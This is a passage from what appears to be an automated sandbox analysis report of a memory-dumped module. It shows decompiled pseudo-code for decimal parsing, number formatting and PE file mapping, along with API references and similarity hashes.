									_t82 = E6D86F412(_t86, _t100, _t82, _t100, _t86);
									_t105 = 0x3fe;
									goto L66;
								}
								E6D86ED50(_a4, _v8);
								L56:
								goto L40;
							}
							_push(0);
							L55:
							_push(_a4);
							E6D86FC80();
							goto L56;
						} else {
							L39:
							E6D86F040(_a4);
							L40:
							L67:
							_t69 = _a4;
							L68:
							return _t69;
						}
					}
					_push(_t65);
					goto L55;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t90 = _a8;
					_t77 = _t90;
					if( *((intOrPtr*)(_t90 + 0x14)) >= 0x10) {
						_t77 =  *_t90;
					}
					_t92 =  *((char*)(_t77 + _v16));
					if(1 > 8) {
						goto L39;
					}
					switch( *((intOrPtr*)(4 +  &M6D86ECC8))) {
						case 0:
							_t78 = _t92 - 0x30;
							_v24 = _t78;
							if(_t78 > 9) {
								goto L9;
							}
							_t94 = _v12;
							if(_t94 >= 0x12) {
								_v36 = _v36 + 1;
							} else {
								_v12 = _t94 + 1;
								_t79 = E6D877E50(_t82, _t100, 0xa, 0);
								_t96 = _t100;
								asm("cdq");
								_t82 = _t79 + _v24;
								asm("adc ecx, edx");
								_v24 = _t96;
								_t100 = _t96;
							}
							goto L48;
						case 1:
							__esi = __ecx - 0x30;
							if(__esi > 9) {
								goto L44;
							}
							__ecx = _v12;
							if(__ecx < 0x12) {
								__ecx = __ecx + 1;
								_v32 = _v32 + 1;
								_v12 = __ecx;
								__ebx = E6D877E50(__ebx, __edx, 0xa, 0);
								__ecx = __edx;
								__eax = __esi;
								asm("cdq");
								__ebx = __ebx + __esi;
								asm("adc ecx, edx");
								_v24 = __ecx;
								__edx = __ecx;
							}
							_push(2);
							goto L47;
						case 2:
							if(__ecx != 0x2b) {
								if(__ecx != 0x2d) {
									goto L20;
								}
								__ecx = 0;
								__ecx = 1;
								L17:
								_v20 = __ecx;
								_push(5);
								goto L47;
							}
							__ecx = 0;
							goto L17;
						case 3:
							_t34 = __ecx - 0x30; // -48
							__eax = _t34;
							if(_t34 > 9) {
								goto L39;
							}
							__eax = __edi * 0xa;
							_t35 = __ecx - 0x30; // -48
							__edi = _t35;
							__edi = __eax + _t35;
							if(__edi <= 0x411) {
								goto L21;
							}
							if(__ebx == 0) {
								_push(_v8);
								goto L55;
							}
							__eax =  &_v64;
							if(_v20 != 1) {
								__eax = E6D86ED50( &_v64, _v8);
							} else {
								__eax = E6D86FC80( &_v64, 0);
							}
							_pop(__ecx);
							_pop(__ecx);
							__esi = __eax;
							__eax = _a4;
							_push(6);
							_pop(__ecx);
							__edi = _a4;
							__eax = memcpy(_a4, __esi, __ecx << 2);
							__esi + __ecx = __esi + __ecx + __ecx;
							__ecx = 0;
							goto L68;
						case 4:
							L20:
							__edi = __ecx - 0x30;
							if(__edi > 9) {
								goto L39;
							}
							L21:
							_push(4);
							goto L47;
						case 5:
							__eax = __ecx - 0x31;
							if(__ecx - 0x31 > 8) {
								if(__ecx != 0x30) {
									goto L39;
								}
								goto L30;
							}
							goto L28;
						case 6:
							__eax = __ecx - 0x31;
							if(__ecx - 0x31 <= 8) {
								goto L28;
							}
							if(__ecx != 0x2d) {
								if(__ecx != 0x2b) {
									if(__ecx == 0x30) {
										L30:
										_push(8);
										goto L47;
									}
									if(__ecx == 0x2e) {
										goto L10;
									}
									goto L39;
								}
								__eax = 0;
								L34:
								_push(6);
								_v8 = __eax;
								_pop(__esi);
								goto L49;
							}
							__eax = 0;
							__eax = 1;
							goto L34;
						case 7:
							if(__ecx == 0x30) {
								L48:
								_t65 = _v8;
								L49:
								_v16 = _v16 + 1;
								if(_v16 < _v40) {
									goto L1;
								}
								goto L50;
							}
							_t44 = __ecx - 0x31; // -43
							__eax = _t44;
							if(_t44 <= 8) {
								L28:
								_t39 = __ecx - 0x30; // -42
								__eax = _t39;
								_v12 = 1;
								asm("cdq");
								__esi = 0;
								__ebx = _t39;
								goto L48;
							}
							L9:
							if(_t92 != 0x2e) {
								L44:
								if(_t92 == 0x45 || _t92 == 0x65) {
									_push(3);
									L47:
									_pop(1);
									goto L48;
								} else {
									goto L39;
								}
							}
							L10:
							goto L48;
					}
				}
				goto L39;
			}

0x6d86ea28
0x6d86ea30
0x6d86ea33
0x6d86ea35
0x6d86ea3a
0x6d86ea3d
0x6d86ea43
0x6d86ea48
0x6d86ea4b
0x6d86ea4d
0x6d86ea52
0x6d86ea55
0x6d86ea58
0x6d86ea5b
0x6d86ea5e
0x6d86ea5f
0x6d86ec16
0x6d86ec19
0x6d86ec4a
0x6d86ec5a
0x6d86ec64
0x6d86ec67
0x6d86ec69
0x6d86ec72
0x6d86ec78
0x6d86ec80
0x6d86ecad
0x6d86ecb6
0x00000000
0x6d86ecb6
0x6d86ec8c
0x6d86eca6
0x6d86eca8
0x00000000
0x6d86eca8
0x6d86ec94
0x6d86ec45
0x00000000
0x6d86ec45
0x6d86ec74
0x6d86ec3d
0x6d86ec3d
0x6d86ec40
0x00000000
0x6d86ebd4
0x6d86ebd4
0x6d86ebd7
0x6d86ebdc
0x6d86ecbb
0x6d86ecbb
0x6d86ecbe
0x6d86ecc4
0x6d86ecc4
0x6d86ec4a
0x6d86ec1b
0x00000000
0x00000000
0x00000000
0x00000000
0x6d86ea65
0x6d86ea65
0x6d86ea65
0x6d86ea68
0x6d86ea6e
0x6d86ea70
0x6d86ea70
0x6d86ea75
0x6d86ea7c
0x00000000
0x00000000
0x6d86ea82
0x00000000
0x6d86ea89
0x6d86ea8c
0x6d86ea92
0x00000000
0x00000000
0x6d86ea94
0x6d86ea9a
0x6d86eac1
0x6d86ea9c
0x6d86eaa3
0x6d86eaa6
0x6d86eaad
0x6d86eab2
0x6d86eab3
0x6d86eab5
0x6d86eab7
0x6d86eaba
0x6d86eaba
0x00000000
0x00000000
0x6d86eada
0x6d86eae0
0x00000000
0x00000000
0x6d86eae6
0x6d86eaec
0x6d86eaf2
0x6d86eaf3
0x6d86eaf8
0x6d86eb00
0x6d86eb02
0x6d86eb04
0x6d86eb06
0x6d86eb07
0x6d86eb09
0x6d86eb0b
0x6d86eb0e
0x6d86eb0e
0x6d86eb10
0x00000000
0x00000000
0x6d86eb1a
0x6d86eb2b
0x00000000
0x00000000
0x6d86eb2d
0x6d86eb2f
0x6d86eb1e
0x6d86eb1e
0x6d86eb21
0x00000000
0x6d86eb21
0x6d86eb1c
0x00000000
0x00000000
0x6d86eb45
0x6d86eb45
0x6d86eb4b
0x00000000
0x00000000
0x6d86eb51
0x6d86eb54
0x6d86eb54
0x6d86eb57
0x6d86eb5f
0x00000000
0x00000000
0x6d86eb63
0x6d86ec3a
0x00000000
0x6d86ec3a
0x6d86eb6d
0x6d86eb70
0x6d86ec22
0x6d86eb76
0x6d86eb79
0x6d86eb79
0x6d86ec27
0x6d86ec28
0x6d86ec29
0x6d86ec2b
0x6d86ec2e
0x6d86ec30
0x6d86ec31
0x6d86ec33
0x6d86ec33
0x6d86ec33
0x00000000
0x00000000
0x6d86eb32
0x6d86eb32
0x6d86eb38
0x00000000
0x00000000
0x6d86eb3e
0x6d86eb3e
0x00000000
0x00000000
0x6d86eb83
0x6d86eb89
0x6d86eb9f
0x00000000
0x00000000
0x00000000
0x6d86eb9f
0x00000000
0x00000000
0x6d86eba5
0x6d86ebab
0x00000000
0x00000000
0x6d86ebb0
0x6d86ebc0
0x6d86ebc9
0x6d86eba1
0x6d86eba1
0x00000000
0x6d86eba1
0x6d86ebce
0x00000000
0x00000000
0x00000000
0x6d86ebce
0x6d86ebc2
0x6d86ebb5
0x6d86ebb5
0x6d86ebb7
0x6d86ebba
0x00000000
0x6d86ebba
0x6d86ebb2
0x6d86ebb4
0x00000000
0x00000000
0x6d86ebe5
0x6d86ec01
0x6d86ec01
0x6d86ec04
0x6d86ec04
0x6d86ec10
0x00000000
0x00000000
0x00000000
0x6d86ec10
0x6d86ebe7
0x6d86ebe7
0x6d86ebed
0x6d86eb8b
0x6d86eb8b
0x6d86eb8b
0x6d86eb8e
0x6d86eb95
0x6d86eb96
0x6d86eb98
0x00000000
0x6d86eb98
0x6d86eac9
0x6d86eacc
0x6d86ebf4
0x6d86ebf7
0x6d86ebfe
0x6d86ec00
0x6d86ec00
0x00000000
0x00000000
0x00000000
0x00000000
0x6d86ebf7
0x6d86ead2
0x00000000
0x00000000
0x6d86ea82
0x00000000

APIs

?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,?,00000005,00000002,00000000,?,0000000A,00000000,?,00000000,0000000A,00000000,?,?), ref: 6D86EC22
?zero@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6D86E9CC,?,00000000), ref: 6D86EC40
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6D86E9CC,?,00000000), ref: 6D86EC94
??0Decimal@blink@@QAE@W4Sign@01@H_K@Z.MOZGLUE(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,6D86E9CC), ref: 6D86ECB6

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$Sign@12@@V12@$?infinity@$?zero@Sign@01@
String ID:
API String ID: 147872146-0
Opcode ID: ba6f594721dedbeb5bf6256ab560c3c0210ade04c5b70883db75419a272d86fb
Instruction ID: 3731384d9af90bb20344d7c327c922bb6200027d44da778502a228276920395c
Opcode Fuzzy Hash: ba6f594721dedbeb5bf6256ab560c3c0210ade04c5b70883db75419a272d86fb
Instruction Fuzzy Hash: 1981C471E64189AFCB0ACA5CCC88ABDB776FF49724F21CC2AF506E7250D7315A418B61

Uniqueness

Uniqueness Score: -1.00%

Function 6D8622F8, Relevance: 9.1, APIs: 6, Instructions: 62
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D8622F8(WCHAR* _a4) {
				void* _v8;
				char _v12;
				void* _v16;
				char _v20;
				intOrPtr _t21;
				void* _t23;
				void* _t27;
				struct _SECURITY_ATTRIBUTES* _t29;

				_t29 = 0;
				_t23 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0x80, 0);
				if(_t23 == 0xffffffff) {
					L10:
					return _t29;
				}
				_t27 = CreateFileMappingW(_t23, 0, 2, 0, 0, 0);
				if(_t27 == 0) {
					L9:
					CloseHandle(_t23);
					goto L10;
				}
				E6D86199C( &_v20, _t27, 0);
				_t17 = _v20;
				if(_v20 == 0) {
					L7:
					CloseHandle(_t27);
					if(_v16 != 0) {
						UnmapViewOfFile(_v16);
					}
					goto L9;
				}
				E6D8619F1( &_v12, _t27,  *((intOrPtr*)(_t17 + 0x3c)));
				_t21 = _v12;
				if(_t21 != 0) {
					_t7 = _t21 + 8; // 0x3bffffff
					_t29 =  *_t7;
				}
				if(_v8 != 0) {
					UnmapViewOfFile(_v8);
				}
				goto L7;
			}

0x6d862300
0x6d86231b
0x6d862320
0x6d86238a
0x6d862391
0x6d862391
0x6d862330
0x6d862334
0x6d862382
0x6d862383
0x00000000
0x6d862389
0x6d86233b
0x6d862340
0x6d862345
0x6d86236c
0x6d86236d
0x6d862377
0x6d86237c
0x6d86237c
0x00000000
0x6d862377
0x6d86234e
0x6d862353
0x6d862358
0x6d86235a
0x6d86235a
0x6d86235a
0x6d862361
0x6d862366
0x6d862366
0x00000000

APIs

CreateFileW.KERNEL32(6D862F45,80000000,00000001,00000000,00000003,00000080,00000000,06020000,6D879648,?,?,6D862F45,00000000), ref: 6D862315
CreateFileMappingW.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,?,?,6D862F45,00000000), ref: 6D86232A
CloseHandle.KERNEL32(00000000,?,?,6D862F45,00000000), ref: 6D862383

Part of subcall function 6D86199C: GetSystemInfo.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,6D862340,00000000,00000000,?,?,6D862F45,00000000), ref: 6D8619AA
Part of subcall function 6D86199C: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,6D862300,00000000,?,?,?,?,?,?,6D862340,00000000,00000000), ref: 6D8619CF

UnmapViewOfFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,6D862F45), ref: 6D862366
CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,6D862F45,00000000), ref: 6D86236D
UnmapViewOfFile.KERNEL32(00000000), ref: 6D86237C

Part of subcall function 6D8619F1: GetSystemInfo.KERNEL32(?,00000000,00000000,?,?,?,?,6D862353,00000000,?,00000000,00000000,?,?,6D862F45,00000000), ref: 6D8619FF
Part of subcall function 6D8619F1: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,?,00000000,?,?,?,?,6D862353,00000000,?,00000000,00000000), ref: 6D861A27

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: File$View$CloseCreateHandleInfoSystemUnmap$Mapping
String ID:
API String ID: 368139509-0
Opcode ID: 318b017f98c4d6f1f8bca123eeb244be133f0c30b0f41340d8ff04108b3123c9
Instruction ID: 044bfb76beff7cb3c43d5acc7232a61794e9ac79058cea7521d997a820d5eec2
Opcode Fuzzy Hash: 318b017f98c4d6f1f8bca123eeb244be133f0c30b0f41340d8ff04108b3123c9
Instruction Fuzzy Hash: 4B115E35500265BBDB216A69CD4CFAFBF7CFF07B61F004594F525AA1A1C7358940CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86F880, Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6D86F880(void* __ebx, signed int* __ecx, void* __edi, void* __esi, char* _a4) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				char _v32;
				signed int _v36;
				signed int _v40;
				char _v56;
				signed int _v60;
				signed int _v64;
				char _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				char* _v96;
				signed int _v100;
				signed int _v104;
				signed int _t95;
				intOrPtr _t98;
				void* _t104;
				signed int _t105;
				signed int _t108;
				signed int _t118;
				void* _t126;
				void* _t142;
				signed int _t145;
				signed int _t146;
				void* _t147;
				void* _t149;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				void* _t157;
				signed int _t158;
				void* _t159;
				signed int _t167;
				intOrPtr* _t172;
				signed int _t186;
				char* _t194;
				signed int _t195;
				signed int _t196;
				signed int _t197;
				signed int* _t199;
				signed int _t200;
				signed int _t201;
				void* _t202;
				signed int _t203;

				_t95 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t95 ^ _t203;
				_t199 = __ecx;
				_t194 = _a4;
				_v96 = _t194;
				_t98 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t98 == 0) {
					__eflags =  *(__ecx + 0x10);
					_t100 =  ==  ? "Infinity" : "-Infinity";
					E6D86D7DC(_t194,  ==  ? "Infinity" : "-Infinity");
				} else {
					_t104 = _t98 - 1;
					if(_t104 == 0) {
						L7:
						_v40 = 0;
						_v36 = 0xf;
						_v56 = 0;
						__eflags = _t199[4];
						if(_t199[4] != 0) {
							E6D86F273( &_v56, 0x2d);
						}
						_t105 = _t199[2];
						_t153 =  *_t199;
						_t200 = _t199[1];
						_v88 = _t105;
						_v92 = _t153;
						_v84 = _t200;
						__eflags = _t105;
						if(__eflags < 0) {
							_t142 = E6D86E878(_t153, _t200);
							_pop(_t186);
							__eflags = _t142 - 0xf;
							if(_t142 > 0xf) {
								_t197 = _v88;
								do {
									_t146 = E6D877CA0(_t153, _t200, 0xa, 0);
									_v100 = _t153;
									_t200 = 0;
									_v104 = _t186;
									_t153 = _t146;
									_t197 = _t197 + 1;
									_t147 = E6D86E878(_t153, 0);
									_t186 = _t153;
									__eflags = _t147 - 0xf;
								} while (_t147 > 0xf);
								__eflags = _v100;
								_v88 = _t197;
								_t194 = _v96;
								_v84 = 0;
								_v92 = _t153;
								if(_v100 > 0) {
									L15:
									_t153 = _t153 + 1;
									__eflags = _t153;
									_v92 = _t153;
									asm("adc esi, 0x0");
									_v84 = _t200;
								} else {
									__eflags = _v104 - 5;
									if(_v104 >= 5) {
										goto L15;
									}
								}
							}
							__eflags = _v88;
							if(__eflags < 0) {
								_t196 = _v88;
								while(1) {
									__eflags = _t153 | _t200;
									if(__eflags == 0) {
										break;
									}
									_push(_t153);
									_t145 = E6D877CA0(_t153, _t200, 0xa, 0);
									_t186 = _t186 | _t153;
									__eflags = _t186;
									if(__eflags != 0) {
										_t153 = _v92;
										_t200 = _v84;
									} else {
										_t153 = _t145;
										_t200 = 0;
										_t196 = _t196 + 1;
										__eflags = _t196;
										_v92 = _t153;
										_v84 = 0;
										_v88 = _t196;
										if(__eflags < 0) {
											continue;
										} else {
										}
									}
									break;
								}
								_t194 = _v96;
							}
						}
						E6D86EF29(_t194, _t200, __eflags,  &_v32, _t153, _t200);
						_t108 = _v88;
						_t201 = _v16;
						_t154 = _t201 + _t108;
						_t167 = _t154 - 1;
						_v84 = _t167;
						__eflags = _t108;
						if(_t108 > 0) {
							L41:
							__eflags = _v12 - 0x10;
							_t110 =  >=  ? _v32 :  &_v32;
							_t111 =  *( >=  ? _v32 :  &_v32) & 0x000000ff;
							E6D86F273( &_v56,  *( >=  ? _v32 :  &_v32) & 0x000000ff);
							__eflags = _t201 - 2;
							if(_t201 >= 2) {
								while(1) {
									__eflags = _v12 - 0x10;
									_t126 =  >=  ? _v32 :  &_v32;
									__eflags =  *((char*)(_t126 + _t201 - 1)) - 0x30;
									if( *((char*)(_t126 + _t201 - 1)) != 0x30) {
										break;
									}
									_t201 = _t201 - 1;
									__eflags = _t201 - 2;
									if(_t201 >= 2) {
										continue;
									}
									break;
								}
								__eflags = _t201 - 2;
								if(_t201 >= 2) {
									E6D86F273( &_v56, 0x2e);
									_t157 = 1;
									__eflags = _t201 - 1;
									if(_t201 > 1) {
										do {
											__eflags = _v12 - 0x10;
											_t129 =  >=  ? _v32 :  &_v32;
											E6D86F273( &_v56, ( >=  ? _v32 :  &_v32)[_t157] & 0x000000ff);
											_t157 = _t157 + 1;
											__eflags = _t157 - _t201;
										} while (_t157 < _t201);
									}
								}
							}
							_t155 = _v84;
							__eflags = _t155;
							if(_t155 != 0) {
								_v60 = 0xf;
								_v80 = 0;
								_t192 =  >=  ? "e+" : "e";
								_t82 =  &_v64;
								 *_t82 = _v64 & 0x00000000;
								__eflags =  *_t82;
								_t172 =  >=  ? "e+" : "e";
								_t84 = _t172 + 1; // 0x6d87ad91
								_t202 = _t84;
								do {
									_t118 =  *_t172;
									_t172 = _t172 + 1;
									__eflags = _t118;
								} while (_t118 != 0);
								E6D86E69F( &_v80, _t192, _t172 - _t202);
								__eflags = _v60 - 0x10;
								_t121 =  >=  ? _v80 :  &_v80;
								E6D86E5DF( &_v56,  >=  ? _v80 :  &_v80, _v64);
								E6D86E43F( &_v80);
								E6D86E638( &_v56, _t192, _t194, _t202, __eflags, _t155);
							}
						} else {
							__eflags = _t167 - 0xfffffffa;
							if(_t167 < 0xfffffffa) {
								goto L41;
							} else {
								__eflags = _t108;
								if(_t108 != 0) {
									__eflags = _t167;
									if(_t167 < 0) {
										E6D86E5DF( &_v56, "0.", 2);
										__eflags = _t154;
										if(_t154 < 0) {
											_t158 =  ~_t154;
											do {
												E6D86F273( &_v56, 0x30);
												_t158 = _t158 - 1;
												__eflags = _t158;
											} while (_t158 != 0);
										}
										_push(_v16);
										goto L28;
									} else {
										_t159 = 0;
										__eflags = _t201;
										if(_t201 > 0) {
											_t195 = _v84;
											do {
												__eflags = _v12 - 0x10;
												_t138 =  >=  ? _v32 :  &_v32;
												E6D86F273( &_v56, ( >=  ? _v32 :  &_v32)[_t159] & 0x000000ff);
												__eflags = _t159 - _t195;
												if(_t159 == _t195) {
													E6D86F273( &_v56, 0x2e);
												}
												_t159 = _t159 + 1;
												__eflags = _t159 - _t201;
											} while (_t159 < _t201);
											_t194 = _v96;
										}
										goto L29;
									}
									L53:
								} else {
									_push(_t201);
									L28:
									__eflags = _v12 - 0x10;
									_t134 =  >=  ? _v32 :  &_v32;
									_push( >=  ? _v32 :  &_v32);
									E6D86E5DF( &_v56);
								}
							}
						}
						L29:
						 *(_t194 + 0x10) =  *(_t194 + 0x10) & 0x00000000;
						 *(_t194 + 0x14) =  *(_t194 + 0x14) & 0x00000000;
						E6D86E335(_t194,  &_v56);
						E6D86E43F( &_v32);
						E6D86E43F( &_v56);
					} else {
						_t149 = _t104 - 1;
						if(_t149 == 0) {
							_push(3);
							_push("NaN");
							goto L5;
						} else {
							if(_t149 == 1) {
								goto L7;
							} else {
								_push(0);
								_push(0x6d87ad24);
								L5:
								 *(_t194 + 0x10) = 0;
								 *(_t194 + 0x14) = 0xf;
								 *_t194 = 0;
								E6D86E69F(_t194);
							}
						}
					}
				}
				return E6D8770C0(_v8 ^ _t203);
				goto L53;
			}

0x6d86f886
0x6d86f88d
0x6d86f892
0x6d86f897
0x6d86f89a
0x6d86f8a0
0x6d86f8a2
0x6d86fb57
0x6d86fb64
0x6d86fb6a
0x6d86f8a8
0x6d86f8a8
0x6d86f8ab
0x6d86f8de
0x6d86f8de
0x6d86f8e1
0x6d86f8e8
0x6d86f8eb
0x6d86f8ee
0x6d86f8f5
0x6d86f8f5
0x6d86f8fa
0x6d86f8fe
0x6d86f900
0x6d86f903
0x6d86f906
0x6d86f909
0x6d86f90c
0x6d86f90e
0x6d86f916
0x6d86f91c
0x6d86f91d
0x6d86f920
0x6d86f922
0x6d86f925
0x6d86f92c
0x6d86f931
0x6d86f935
0x6d86f937
0x6d86f93a
0x6d86f93c
0x6d86f93f
0x6d86f945
0x6d86f946
0x6d86f946
0x6d86f94b
0x6d86f94f
0x6d86f952
0x6d86f955
0x6d86f958
0x6d86f95b
0x6d86f963
0x6d86f963
0x6d86f963
0x6d86f966
0x6d86f969
0x6d86f96c
0x6d86f95d
0x6d86f95d
0x6d86f961
0x00000000
0x00000000
0x6d86f961
0x6d86f95b
0x6d86f96f
0x6d86f973
0x6d86f975
0x6d86f978
0x6d86f97a
0x6d86f97c
0x00000000
0x00000000
0x6d86f97e
0x6d86f985
0x6d86f98a
0x6d86f98a
0x6d86f98d
0x6d86f9a3
0x6d86f9a6
0x6d86f98f
0x6d86f98f
0x6d86f991
0x6d86f993
0x6d86f993
0x6d86f996
0x6d86f999
0x6d86f99c
0x6d86f99f
0x00000000
0x00000000
0x6d86f9a1
0x6d86f99f
0x00000000
0x6d86f98d
0x6d86f9a9
0x6d86f9a9
0x6d86f973
0x6d86f9b2
0x6d86f9b7
0x6d86f9bd
0x6d86f9c0
0x6d86f9c3
0x6d86f9c6
0x6d86f9c9
0x6d86f9cb
0x6d86fa84
0x6d86fa84
0x6d86fa8e
0x6d86fa92
0x6d86fa96
0x6d86fa9b
0x6d86fa9e
0x6d86faa0
0x6d86faa0
0x6d86faa7
0x6d86faab
0x6d86fab0
0x00000000
0x00000000
0x6d86fab2
0x6d86fab3
0x6d86fab6
0x00000000
0x00000000
0x00000000
0x6d86fab6
0x6d86fab8
0x6d86fabb
0x6d86fac2
0x6d86fac9
0x6d86faca
0x6d86facc
0x6d86face
0x6d86face
0x6d86fad8
0x6d86fae1
0x6d86fae6
0x6d86fae7
0x6d86fae7
0x6d86face
0x6d86facc
0x6d86fabb
0x6d86faeb
0x6d86faee
0x6d86faf0
0x6d86fafb
0x6d86fb07
0x6d86fb0b
0x6d86fb0e
0x6d86fb0e
0x6d86fb0e
0x6d86fb12
0x6d86fb14
0x6d86fb14
0x6d86fb17
0x6d86fb17
0x6d86fb19
0x6d86fb1a
0x6d86fb1a
0x6d86fb25
0x6d86fb2a
0x6d86fb34
0x6d86fb3c
0x6d86fb44
0x6d86fb4d
0x6d86fb4d
0x6d86f9d1
0x6d86f9d1
0x6d86f9d4
0x00000000
0x6d86f9da
0x6d86f9da
0x6d86f9dc
0x6d86fa1b
0x6d86fa1d
0x6d86fa62
0x6d86fa67
0x6d86fa69
0x6d86fa6b
0x6d86fa6d
0x6d86fa72
0x6d86fa77
0x6d86fa77
0x6d86fa77
0x6d86fa6d
0x6d86fa7c
0x00000000
0x6d86fa1f
0x6d86fa1f
0x6d86fa21
0x6d86fa23
0x6d86fa25
0x6d86fa28
0x6d86fa28
0x6d86fa32
0x6d86fa3b
0x6d86fa40
0x6d86fa42
0x6d86fa49
0x6d86fa49
0x6d86fa4e
0x6d86fa4f
0x6d86fa4f
0x6d86fa53
0x6d86fa53
0x00000000
0x6d86fa23
0x00000000
0x6d86f9de
0x6d86f9de
0x6d86f9df
0x6d86f9df
0x6d86f9e9
0x6d86f9ed
0x6d86f9ee
0x6d86f9ee
0x6d86f9dc
0x6d86f9d4
0x6d86f9f3
0x6d86f9f3
0x6d86f9fa
0x6d86fa01
0x6d86fa09
0x6d86fa11
0x6d86f8ad
0x6d86f8ad
0x6d86f8b0
0x6d86f8d5
0x6d86f8d7
0x00000000
0x6d86f8b2
0x6d86f8b5
0x00000000
0x6d86f8b7
0x6d86f8b7
0x6d86f8b8
0x6d86f8bd
0x6d86f8bd
0x6d86f8c2
0x6d86f8c9
0x6d86f8cb
0x6d86f8cb
0x6d86f8b5
0x6d86f8b0
0x6d86f8ab
0x6d86fb81
0x00000000

APIs

__aulldvrm.LIBCMT ref: 6D86F92C
__aulldvrm.LIBCMT ref: 6D86F985

Strings

-Infinity, xrefs: 6D86FB5F, 6D86FB69
Infinity, xrefs: 6D86FB5A
NaN, xrefs: 6D86F8D7

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: -Infinity$Infinity$NaN
API String ID: 1302938615-2857212649
Opcode ID: 11325dfb3632866655d9979f94abe3022f99bce204dfc4e04a24f02e10df08c1
Instruction ID: 4d578c1036d7434df34f9e1d48a6ac06350319976552c825a79a3b714ca8a4fd
Opcode Fuzzy Hash: 11325dfb3632866655d9979f94abe3022f99bce204dfc4e04a24f02e10df08c1
Instruction Fuzzy Hash: D0A1E730D05289AFDF14CFE8C898AADBBB9FF51328F214929E511AB244D774D905CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6D8741A0, Relevance: 7.6, APIs: 5, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E6D8741A0(void* __ebx, unsigned int* __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a12, char* _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v132;
				char _v133;
				char _v140;
				char _v144;
				char _v148;
				char* _v152;
				void* __ebp;
				signed int _t34;
				char* _t36;
				signed char _t47;
				intOrPtr* _t75;
				intOrPtr _t82;
				intOrPtr _t83;
				intOrPtr _t87;
				signed int _t89;
				signed int _t90;
				void* _t94;
				intOrPtr _t95;
				signed int _t98;

				_t94 = __esi;
				_t89 = __edx;
				_t34 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t34 ^ _t98;
				_t36 = _a16;
				asm("movsd xmm0, [ebp+0x8]");
				_push(__ebx);
				_t75 = _a20;
				_v152 = _t36;
				 *_t36 = 0;
				_push(__edi);
				_t92 = __ecx;
				asm("movsd [ebp-0x9c], xmm0");
				asm("movsd [ebp-0x90], xmm0");
				E6D86FCE8(__ecx,  &_v148);
				_t90 = _t89 & 0x7ff00000;
				if(0 != 0 || _t90 != 0x7ff00000) {
					_push(_t94);
					_t95 = _a12;
					if(_t95 - 1 <= 0x77) {
						asm("movsd xmm0, [ebp-0x9c]");
						asm("movsd [esp], xmm0");
						_t47 = E6D871F20(_t75, 0x7ff00000, _t90, _t92, _t95, 0x7ff00000, 0x7ff00000, 3, _t95,  &_v132, 0x79,  &_v133,  &_v140,  &_v144);
						if(_v133 != 0) {
							asm("movsd xmm0, [ebp-0x9c]");
							asm("ucomisd xmm0, [0x6d87b580]");
							asm("lahf");
							if((_t47 & 0x00000044) != 0 || ( *_t92 >> 0x00000003 & 0x00000001) == 0) {
								_t87 =  *((intOrPtr*)(_t75 + 8));
								 *((intOrPtr*)(_t75 + 8)) = _t87 + 1;
								 *((char*)(_t87 +  *_t75)) = 0x2d;
							}
						}
						_t82 = _v144;
						_v144 = _t82 - 1;
						if(1 - _t82 > _t92[6] || ( *_t92 >> 0x00000002 & 0x00000001) - _t95 + _t82 > _t92[7]) {
							_t83 = _v140;
							if(_t83 < _t95) {
								memset( &_v132 + _t83, 0x30, _t95 - _t83);
							}
							 *_v152 = 1;
							E6D8717E0(_t75, _t92, _t92, _t95,  &_v132, _t95, _v144, _t75);
						} else {
							_t66 =  >  ? _t95 - _t82 : 0;
							E6D8716D0(_t92,  &_v132, _v140, _t82,  >  ? _t95 - _t82 : 0, _t75);
						}
					}
				} else {
					asm("movsd xmm0, [ebp-0x9c]");
